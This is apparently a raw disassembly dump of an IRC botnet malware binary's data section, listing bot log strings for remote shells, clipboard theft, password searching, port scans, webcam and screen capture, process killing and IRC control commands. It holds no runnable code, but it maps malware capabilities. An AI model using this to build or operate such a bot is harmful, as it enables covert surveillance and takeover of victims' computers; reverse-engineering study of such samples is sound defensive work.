dword_43531C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6013o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_435358	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6008o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_435394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB3o
		dd 2BBBB02h, 73252020h,	0
unk_4353B4	db    2			; DATA XREF: sub_40EE72+5F89o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_435400	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F13o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Do
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F06o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EABo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Ao
		align 4
unk_43544C	db    2			; DATA XREF: sub_40EE72+5E8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_435494	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Do
dword_4354A4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D68o
dword_4354B0	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D55o
dword_4354BC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D50o
dword_4354CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Do
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B82o
		align 4
dword_43550C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFBo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B60o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC6o
		align 4
dword_43555C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C74o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_435598	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C60o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_4355C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Bo
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_435608	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD0o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_435634	dd 627573h		; DATA XREF: sub_40EE72+5BAAo
dword_435638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Bo
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_435660	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B40o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_4356A8	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD1o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4356D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A34o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4356F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A02o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_435720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59ADo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_435748	db    2			; DATA XREF: sub_40EE72+599Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435798	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Bo
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Bo
		align 10h
unk_4357D0	db    2			; DATA XREF: sub_40EE72+58B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_435804	db    2			; DATA XREF: sub_40EE72+5891o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_435834	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5848o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_43585C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F7o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43588C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+577Eo
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_4358C4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5762o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4358FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5744o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5716o
		align 4
unk_43593C	db    2			; DATA XREF: sub_40EE72:loc_414578o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435978	db    2			; DATA XREF: sub_40EE72+56EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_4359AC	db    2			; DATA XREF: sub_40EE72:loc_41454Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4359E8	db    2			; DATA XREF: sub_40EE72:loc_414546o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_435A24	db    2			; DATA XREF: sub_40EE72+56CDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_435A58	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Do
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_435AA4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F2o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 10h
unk_435AF0	db    2			; DATA XREF: sub_40EE72+5526o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_435B38	db    2			; DATA XREF: sub_40EE72+53B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 10h
unk_435B80	db    2			; DATA XREF: sub_40EE72+5285o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_435BAC	db    2			; DATA XREF: sub_40EE72+526Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_435BF8	db    2			; DATA XREF: sub_40EE72+51FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435C30	db    2			; DATA XREF: sub_40EE72:loc_414037o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_435C74	db    2			; DATA XREF: sub_40EE72+5106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_435CEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC6o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_435D20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EAAo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435D50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E87o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435D80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Bo
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_435DA8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Co
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_435DE4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE3o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_435E18	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C0Fo
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 10h
dword_435E50	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D84o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Ao
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE3o
					; sub_40EE72:loc_414B4Ao
		align 4
dword_435E9C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_435ED0	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_435F14	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 10h
dword_435F50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435F84	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435FBC	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435FE8	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_436028	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_43605C	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 10h
unk_4360A0	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4360D8	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_436104	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_436138	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_43615C	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_4361A8	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4361D0	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4361FC	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_436228	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_436250	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43628C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4362BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
dword_4362F0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_43633C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_43638C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_4363C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_436410	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_436454	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_436498	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_4364CC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_436508	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_436550	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_43658C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 10h
dword_4365D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_4365F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_436638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_43666C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_436698	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4366C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_4366F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436714	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E76o
dword_436720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_436758	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_436784	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
